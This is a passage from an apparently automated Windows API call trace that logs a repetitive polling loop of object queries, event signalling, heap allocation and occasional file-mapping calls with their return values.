dwMilliseconds=0xffffffff) returned 0x0 [0072.213] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.213] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.213] ResetEvent (hEvent=0x110) returned 1 [0072.213] SetEvent (hEvent=0x114) returned 1 [0072.213] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.213] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.213] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.213] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.213] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.213] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.213] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.213] ResetEvent (hEvent=0x110) returned 1 [0072.213] SetEvent (hEvent=0x114) returned 1 [0072.213] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.214] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.214] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.214] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.214] ResetEvent (hEvent=0x110) returned 1 [0072.214] SetEvent (hEvent=0x114) returned 1 [0072.214] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.214] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.214] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.214] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.214] ResetEvent (hEvent=0x110) returned 1 [0072.214] SetEvent (hEvent=0x114) returned 1 [0072.214] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.214] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.214] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.215] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.215] ResetEvent (hEvent=0x110) returned 1 [0072.215] SetEvent (hEvent=0x114) returned 1 [0072.215] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.215] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.215] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.215] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.215] ResetEvent (hEvent=0x110) returned 1 [0072.215] SetEvent (hEvent=0x114) returned 1 [0072.215] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.215] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.215] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.215] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.215] ResetEvent (hEvent=0x110) returned 1 [0072.215] SetEvent (hEvent=0x114) returned 1 [0072.215] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.215] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.216] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.216] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.216] ResetEvent (hEvent=0x110) returned 1 [0072.216] SetEvent (hEvent=0x114) returned 1 [0072.216] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.216] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.216] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.216] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.216] ResetEvent (hEvent=0x110) returned 1 [0072.216] SetEvent (hEvent=0x114) returned 1 [0072.216] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.216] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.216] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.216] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.216] ResetEvent (hEvent=0x110) returned 1 [0072.217] SetEvent (hEvent=0x114) returned 1 [0072.217] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.217] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.217] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.217] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.217] ResetEvent (hEvent=0x110) returned 1 [0072.217] SetEvent (hEvent=0x114) returned 1 [0072.217] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.217] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.217] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.217] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.217] ResetEvent (hEvent=0x110) returned 1 [0072.217] SetEvent (hEvent=0x114) returned 1 [0072.217] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.217] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.218] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.218] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.218] ResetEvent (hEvent=0x110) returned 1 [0072.218] SetEvent (hEvent=0x114) returned 1 [0072.218] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.218] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.218] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.218] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.218] ResetEvent (hEvent=0x110) returned 1 [0072.218] SetEvent (hEvent=0x114) returned 1 [0072.218] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.218] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.218] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.218] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.218] ResetEvent (hEvent=0x110) returned 1 [0072.219] SetEvent (hEvent=0x114) returned 1 [0072.219] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.219] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.219] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.219] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.219] ResetEvent (hEvent=0x110) returned 1 [0072.219] SetEvent (hEvent=0x114) returned 1 [0072.219] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.219] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.219] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.219] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.219] ResetEvent (hEvent=0x110) returned 1 [0072.219] SetEvent (hEvent=0x114) returned 1 [0072.219] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.219] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.220] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.220] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.220] ResetEvent (hEvent=0x110) returned 1 [0072.220] SetEvent (hEvent=0x114) returned 1 [0072.220] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.220] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.220] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.220] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.220] ResetEvent (hEvent=0x110) returned 1 [0072.220] SetEvent (hEvent=0x114) returned 1 [0072.220] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.220] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.220] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.220] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.220] ResetEvent (hEvent=0x110) returned 1 [0072.220] SetEvent (hEvent=0x114) returned 1 [0072.221] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.221] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.221] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.221] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.221] ResetEvent (hEvent=0x110) returned 1 [0072.221] SetEvent (hEvent=0x114) returned 1 [0072.221] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.221] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.221] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.221] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.221] ResetEvent (hEvent=0x110) returned 1 [0072.221] SetEvent (hEvent=0x114) returned 1 [0072.221] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.221] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.222] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.222] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.222] ResetEvent (hEvent=0x110) returned 1 [0072.222] SetEvent (hEvent=0x114) returned 1 [0072.222] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.222] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.222] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.222] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.222] ResetEvent (hEvent=0x110) returned 1 [0072.222] SetEvent (hEvent=0x114) returned 1 [0072.222] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.222] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.222] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.222] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.222] ResetEvent (hEvent=0x110) returned 1 [0072.222] SetEvent (hEvent=0x114) returned 1 [0072.222] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.223] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.223] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.223] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.223] ResetEvent (hEvent=0x110) returned 1 [0072.223] SetEvent (hEvent=0x114) returned 1 [0072.223] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.223] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.223] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.223] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.223] ResetEvent (hEvent=0x110) returned 1 [0072.223] SetEvent (hEvent=0x114) returned 1 [0072.223] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.223] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.223] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.223] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.223] ResetEvent (hEvent=0x110) returned 1 [0072.224] SetEvent (hEvent=0x114) returned 1 [0072.224] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.224] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.224] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.224] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.224] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.224] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.224] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.224] ResetEvent (hEvent=0x110) returned 1 [0072.224] SetEvent (hEvent=0x114) returned 1 [0072.224] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.224] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.224] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.224] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.224] ResetEvent (hEvent=0x110) returned 1 [0072.224] SetEvent (hEvent=0x114) returned 1 [0072.225] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.225] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.225] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.225] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.225] ResetEvent (hEvent=0x110) returned 1 [0072.225] SetEvent (hEvent=0x114) returned 1 [0072.225] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.225] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.225] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.225] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.225] ResetEvent (hEvent=0x110) returned 1 [0072.225] SetEvent (hEvent=0x114) returned 1 [0072.225] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.225] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.225] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.226] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.226] ResetEvent (hEvent=0x110) returned 1 [0072.226] SetEvent (hEvent=0x114) returned 1 [0072.226] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.226] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.226] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.226] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.226] ResetEvent (hEvent=0x110) returned 1 [0072.226] SetEvent (hEvent=0x114) returned 1 [0072.226] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.226] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.226] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.226] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.226] ResetEvent (hEvent=0x110) returned 1 [0072.226] SetEvent (hEvent=0x114) returned 1 [0072.227] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.227] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.227] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.227] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.227] ResetEvent (hEvent=0x110) returned 1 [0072.227] SetEvent (hEvent=0x114) returned 1 [0072.227] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.227] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.227] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.227] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.227] ResetEvent (hEvent=0x110) returned 1 [0072.227] SetEvent (hEvent=0x114) returned 1 [0072.228] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.228] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.228] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.228] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.228] ResetEvent (hEvent=0x110) returned 1 [0072.228] SetEvent (hEvent=0x114) returned 1 [0072.228] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.228] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.228] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.228] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.228] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.228] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.228] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.228] ResetEvent (hEvent=0x110) returned 1 [0072.228] SetEvent (hEvent=0x114) returned 1 [0072.228] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.228] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 